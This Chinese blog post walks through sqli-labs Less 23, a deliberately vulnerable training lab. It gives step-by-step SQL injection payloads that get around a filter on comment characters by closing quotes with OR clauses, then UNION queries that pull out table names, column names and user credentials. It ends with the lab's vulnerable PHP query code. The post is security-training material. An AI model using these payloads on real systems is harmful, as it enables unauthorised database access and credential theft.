sqli-labs 通关指南:Less 23

Less 23 的注入流程和 Less 1 ~ 4 一致,但是 Less 23 对注释符进行了过滤。我们得考虑用其他方式闭合引号,而不是忽略后续的代码。


GET-Error based-strip comments (基于错误的过滤注释符的 GET 型注入)

判断注入类型#

注入正常的 id,网页回显 id 对应的 username 和 password。

Copy Highlighter-hljs
?id=1


注入一个单引号闭合,根据回显的报错信息这里就是用单引号闭合的字符型注入。

Copy Highlighter-hljs
?id=1'


构造恒真语句测试,发现网页回显的还是报错,根据错误信息发现 “--+” 被过滤了。

Copy Highlighter-hljs
?id=1' OR 1 = 1--+


尝试使用 “#” 进行注释,发现也被过滤了。

Copy Highlighter-hljs
?id=1' OR 1 = 1#


过滤了注释符并不能影响我们的注入,可以使用两个单引号分别闭合两侧的 Sql 查询语句,同时需要使用 OR 运算符分割成 3 个子句。

Copy Highlighter-hljs
?id=1' OR 1 = 1 OR '

获取数据库信息#

分别闭合前后的单引号可以绕过对注释符的过滤,Sql 注入的流程和 Less 1 一致。判断哪些列是我们能用的,令 id 参数的查询不到结果,使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

Copy Highlighter-hljs
?id=99' UNION SELECT 1,2,3 '


爆数据库名。

Copy Highlighter-hljs
?id=99' UNION SELECT 1,database(),3 '


爆表名。

Copy Highlighter-hljs
?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security' '


爆 users 表的字段。

Copy Highlighter-hljs
?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users' '

获取目标信息#

构造出 payload 如下,注意这里不能直接用单引号闭合,可以使用 WHERE 构造个恒真条件闭合。

Copy Highlighter-hljs
?id=99' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM users WHERE '1' = '1

Sql 查询语句#

可以明显看出,源码使用了正则表达式过滤了所有注释符。

Copy Highlighter-hljs
$id=$_GET['id']; //filter the comments out so as to comments should not work $reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id); $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result);
posted @   乌漆WhiteMoon  阅读(843)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示
CONTENTS